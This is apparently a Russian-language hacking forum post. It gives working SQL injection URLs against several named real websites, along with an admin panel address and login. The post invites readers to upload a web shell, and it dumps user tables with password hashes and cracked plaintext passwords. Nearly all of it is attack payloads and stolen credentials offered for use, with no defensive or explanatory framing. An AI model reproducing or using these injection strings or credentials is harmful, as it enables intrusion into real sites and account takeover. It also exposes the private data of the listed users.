http://www.justinian.com.ua/album.php?cat=2+union+select+concat_ws(0x3a,ID,Log in,Passw),2,3,4,5,6+from+authUser/*

Админка: www.justinian.com.ua/admin

Login: ups
Password: alladin

помимо скулей и xss,есть баг с zend engine hashes,а так же раскрытие путей,имён таблиц с колонками и т.д. и т.п... Баг на баге).У кого получится залить шелл пишите xDDD.

http://www.soaw.org/pressrelease.php?id=-1+union+select+1,concat_ws(0x3a,user,password),3,4 ,5,6,7,8,9,10,11,12,13+from+phpsp_users--

Таблицы - account, phpsp_users

http://www.kafedra.com.ua/modules/articles/article.php?id=328+union+select+1,2,3,4,concat_ws( 0x3a,version(),user(),database()),6,7,8,9,10,11,12 ,13,14,15,16,17,18,19,20--

http://www.kafedra.com.ua/modules/articles/article.php?id=328+union+select+1,2,3,4,table_name ,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+inf ormation_schema.tables+limit+1,1--



Table: xoops_users

Virgo-vlad:46f227e9cf17e2e1e88b14e679047bd9:252525
andron_AS:123e24289c7434008bec6b61ab8f100a:looper
Barulya:7a4ff1d33e92f1b8e33b8bbb6daf08c6:kos1981
Belle:e76d56e405d994722ac98d9966146010:ghjcnjnfr
Bolt:ba3a02ac8d369c6747c0007368b98500:fkut,hf
chirik:f6c5fe9e207a16fb771e2231a9f30851:231276
crazyman:3e0e92b5dd80c25494d58cac262193fd

Table: user

S Maxim S:4e3acf83f4228b1ca16b7579baa82156
Segoktuhf:0be8ec195a5680fc5fb23848a18e63ba
Pindukled:1a840b31bd4fdf0d7ebfd7188474e997
ruslibrary:e60d4769b08ffc474fa7e53b995b8e4d


Table: ibf_members

automart:0fd4124daf45355c946a2d040ca286e2
password: dallas22

Tolstiy:b3b4d2dbedc99fe843fd3dedb02f086f
password: 1981

chirik:f6c5fe9e207a16fb771e2231a9f30851
password: 231276
sergsava: qwert